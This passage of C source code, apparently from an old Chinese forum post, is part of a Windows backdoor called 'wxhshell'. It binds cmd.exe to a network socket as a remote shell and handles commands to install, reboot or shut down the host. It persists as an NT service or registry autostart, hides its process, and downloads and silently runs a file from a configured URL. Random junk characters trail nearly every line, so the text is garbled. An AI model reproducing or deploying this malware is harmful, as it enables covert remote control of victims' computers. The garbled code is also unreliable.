      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4$qWiG~  
    break; s >e=?W  
  } Wi[~fI8^!  
  // 安装 "J+3w  
  case 'i': { bA= |_Wt  
    if(Install()) A'G66ei  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n3}!p'-CC  
    else Of{/t1o?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KC(xb5x Y  
    break; NLS%Sq  
    } b`)){LR  
  // 卸载 m_=$0m J$  
  case 'r': { ^dP KDrKxh  
    if(Uninstall()) *:>"q ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mocI&=EF2X  
    else ZN! 4;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _u{c4U0,  
    break; !O-C,uSm  
    } Sl-v W  
  // 显示 wxhshell 所在路径 4Fp0ZVT  
  case 'p': { &C_' p{G  
    char svExeFile[MAX_PATH]; AFc$%\s4  
    strcpy(svExeFile,"\n\r"); 4D[ '^q  
      strcat(svExeFile,ExeFile); =Vy`J)z9  
        send(wsh,svExeFile,strlen(svExeFile),0); &8%e\W\K:/  
    break; Y]{ >^`G  
    } Swp;HW7x  
  // 重启 b8LoIY*  
  case 'b': { fQL"O}Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g0>,%b  
    if(Boot(REBOOT)) e?_@aa9~@{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70f Klp  
    else { ]Tkc-ez  
    closesocket(wsh); N-I5X2  
    ExitThread(0); :!5IW?2  
    } 5QPM t^  
    break; Lg~B'd8m  
    } IB# @yH  
  // 关机 ?shIj;c[  
  case 'd': { |;.o8}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \"CZI<=TB  
    if(Boot(SHUTDOWN)) 1QmH{jM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T.Ryy"%F  
    else { U>V&-kxtV  
    closesocket(wsh); >=UF-xk;  
    ExitThread(0); 2P/K K  
    } c6nflk.l  
    break; tj Gd )  
    } OR}c)|1  
  // 获取shell H|R T?Q  
  case 's': { ][W_[0v  
    CmdShell(wsh); K?s+3  
    closesocket(wsh); FDVcow*]n  
    ExitThread(0); l5\"9 ,<  
    break; UNPezHaz  
  } w QNxL5B  
  // 退出 Bn61AFy`  
  case 'x': { ,hq)1u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ua5OGx  
    CloseIt(wsh); Kv.>Vf.T}_  
    break; .so[I  
    } q4}PM[K?=\  
  // 离开 Qtbbb3m;  
  case 'q': { M7ers|&{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R2(3 >`FJ  
    closesocket(wsh); S,<EEtXQ  
    WSACleanup(); UJfEC0  
    exit(1); YqPQ%  
    break; zX0md x<|<  
        } uiJS8(Cb  
  } g.'yZvaP  
  } fv`O4  
taFn![}/!g  
  // 提示信息 s<9RKfm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C?i >.t  
} D\[h:8k  
  } ~er\~kp  
:>TEDy~O%  
  return; -O&CI)`;B  
} E2cB U{x  
oS7(s  
// shell模块句柄 \3'9Uz,OC  
int CmdShell(SOCKET sock) :WSDf VX  
{ DyQM>xw)t  
STARTUPINFO si; Wx~k&[&E  
ZeroMemory(&si,sizeof(si)); *+uHQgn(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3&6#F"7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M/):e$S  
PROCESS_INFORMATION ProcessInfo; ?0YCpn  
char cmdline[]="cmd";  ?p(/_@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v.:3"<ur}  
  return 0; uu}x@T@  
} '=1KVE^Fk  
UTf9S>HS  
// 自身启动模式 #]#sGmW/L  
int StartFromService(void) "TUe%o  
{ Kx=4~  
typedef struct -S$1Yn  
{ >m# e:[N  
  DWORD ExitStatus; }';D]c  
  DWORD PebBaseAddress; j'aHF#_  
  DWORD AffinityMask; ukvtQz)  
  DWORD BasePriority; /}Lt,9  
  ULONG UniqueProcessId; UK1_0tp]x  
  ULONG InheritedFromUniqueProcessId; /DqLrA  
}   PROCESS_BASIC_INFORMATION; 4#5:~M }  
w.lAQ5)I%\  
PROCNTQSIP NtQueryInformationProcess; u`olW%C/T  
Q>R>R*1.j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F29v a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E@-KGsdhK  
%e`$p=m  
  HANDLE             hProcess; 5Q 'i2*j  
  PROCESS_BASIC_INFORMATION pbi; zfwS  
qwK2WE%T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MY/3] g<  
  if(NULL == hInst ) return 0; Zum0J{l h  
c-g)eV|)S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @FC"nM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' j6gG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FJ %  
_>=L>*  
  if (!NtQueryInformationProcess) return 0; f{"8g"[[)(  
$b<6y/"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =xsTDjH>  
  if(!hProcess) return 0; ovwQ2TuK  
GEEW?8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uA$<\fnz  
m85WA # `  
  CloseHandle(hProcess); `u.t[  
=) E,8L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6m VuyI  
if(hProcess==NULL) return 0; t ^[8RhD  
xB@|LtdO9;  
HMODULE hMod; xS7$%w['  
char procName[255]; h.!}3\Y  
unsigned long cbNeeded; =56T{N  
H*bs31i{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ALEnI@0  
?d4m!HgR   
  CloseHandle(hProcess); t=*@yQ nB  
yA)(*PFz  
if(strstr(procName,"services")) return 1; // 以服务启动 = pI?A^  
TLd`1Ac  
  return 0; // 注册表启动 nOQa_G]Gz  
} zNY)'  
_{Sm k [  
// 主模块 M:P0m6ie  
int StartWxhshell(LPSTR lpCmdLine) r1<F  
{ avy"r$v_&  
  SOCKET wsl; Ja SI^go  
BOOL val=TRUE; dJv!Dts')C  
  int port=0; 'S2bp4G  
  struct sockaddr_in door; K"u NxZ  
->h6j  
  if(wscfg.ws_autoins) Install(); A].>.AI  
})w*m  
port=atoi(lpCmdLine); 'S[++w?Qq  
RJy=pNztm  
if(port<=0) port=wscfg.ws_port; wHIj<"2  
%?aS#4jI  
  WSADATA data; pGSai &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yk42(!  
?x^z]N|P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]`bQW?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MWNPPYww  
  door.sin_family = AF_INET; 11|Rdd+}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h(qQsxIOhS  
  door.sin_port = htons(port); pDQ}*   
l c_E!"1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EwS!]h?  
closesocket(wsl); VdP`a(Yd;  
return 1; i/b'4o=8  
} XX1Il;1G#  
Iyd?|f"  
  if(listen(wsl,2) == INVALID_SOCKET) { T~fmk f$  
closesocket(wsl); %+ FG,d  
return 1; [>^PRs  
} DAg58 =qJ  
  Wxhshell(wsl); RNPbH.  
  WSACleanup(); N$x tHtz8"  
SxK:]Aw  
return 0; \uME+NF  
+[J/Zw0{  
} EZ.!rh~+  
&20P,8@  
// 以NT服务方式启动 N)S!7%ne  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pq:7F  
{ K^rIG6  
DWORD   status = 0; ,Rx{yf]k  
  DWORD   specificError = 0xfffffff; ?0_7?yTR/  
.bVmqR`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IScRsxFb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w#N?l!5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x f4{r+  
  serviceStatus.dwWin32ExitCode     = 0; $ n,Z  
  serviceStatus.dwServiceSpecificExitCode = 0; F`nb21{0y&  
  serviceStatus.dwCheckPoint       = 0; QQe;1O  
  serviceStatus.dwWaitHint       = 0; 9s}Kl($  
uY< H#k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |3+m%;X  
  if (hServiceStatusHandle==0) return; 83cW=?UgA  
.D4bqL  
status = GetLastError(); xyH/e*a  
  if (status!=NO_ERROR) b dJ+@r  
{ E42eOGp9i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @<M*qK1h  
    serviceStatus.dwCheckPoint       = 0; B/Gd(S`@q  
    serviceStatus.dwWaitHint       = 0; cL8#S>>u.  
    serviceStatus.dwWin32ExitCode     = status; .Hc(y7HV  
    serviceStatus.dwServiceSpecificExitCode = specificError; okq[ o90  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N~pIC2Woo  
    return; r}u%#G+K,  
  } I _i6-<c.Q  
M HL("v(@B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pPVRsXy  
  serviceStatus.dwCheckPoint       = 0; s cdtWA  
  serviceStatus.dwWaitHint       = 0; 7([h4bg{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0)Rw|(Fpo]  
} =2y8 CgLj  
\n9A^v`F/  
// 处理NT服务事件,比如:启动、停止 F8e<}v&7R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i#X!#vyc  
{ ^MD;"A<  
switch(fdwControl) 8hA^`Y  
{ Fg/dS6=n`?  
case SERVICE_CONTROL_STOP: wA`"\MWm  
  serviceStatus.dwWin32ExitCode = 0; gPzL*6OS A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NZu)j["  
  serviceStatus.dwCheckPoint   = 0; j<pw\k{i  
  serviceStatus.dwWaitHint     = 0; AGYm';z3  
  { ,}xbAA#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7%OKH<i\2<  
  } 9Q W&$n^  
  return; kC$&:\Rh  
case SERVICE_CONTROL_PAUSE: u)Q;8$`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )a=/8ofe  
  break; o2-@o= F  
case SERVICE_CONTROL_CONTINUE: ;r=b|B9c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b'ml=a#i 0  
  break; V 'X;jC  
case SERVICE_CONTROL_INTERROGATE: :L0/V~D  
  break; &~B5.sppnB  
}; ]%RNA:(F'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P&*sB%B  
} -{|`H[nmD  
%;z((3F  
// 标准应用程序主函数 R.j1?\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |m,VTViv;i  
{ ?p[O%_Xf  
r^HA aGpC  
// 获取操作系统版本 &"uV~AM  
OsIsNt=GetOsVer(); w W$(r-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ovf/;Q/}  
WW@"Z}?k  
  // 从命令行安装 GR'Ti*Qi  
  if(strpbrk(lpCmdLine,"iI")) Install(); r)1Z(tl  
1xnLB>jP#  
  // 下载执行文件 G>T')A  
if(wscfg.ws_downexe) { tJ& 5tNl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A%Z)wz{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7s'- +~  
} $e\N+~KNCy  
lS{r=y_0.  
if(!OsIsNt) { kvsA]tK.  
// 如果时win9x,隐藏进程并且设置为注册表启动 v7trr W}  
HideProc(); {bF1\S]2  
StartWxhshell(lpCmdLine); P\~{3U  
} y[0`hSQ)~  
else 1 [z'G)v  
  if(StartFromService()) h`MdKX$  
  // 以服务方式启动 NWmtwS+@  
  StartServiceCtrlDispatcher(DispatchTable); 7z~Ghz  
else 9x~-*8aw  
  // 普通方式启动 S+x_c4 T  
  StartWxhshell(lpCmdLine); <o:@dS  
[JTto!Ih$  
return 0; U;xF#e  
}
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只看该作者 1 发表于: 2006-10-10
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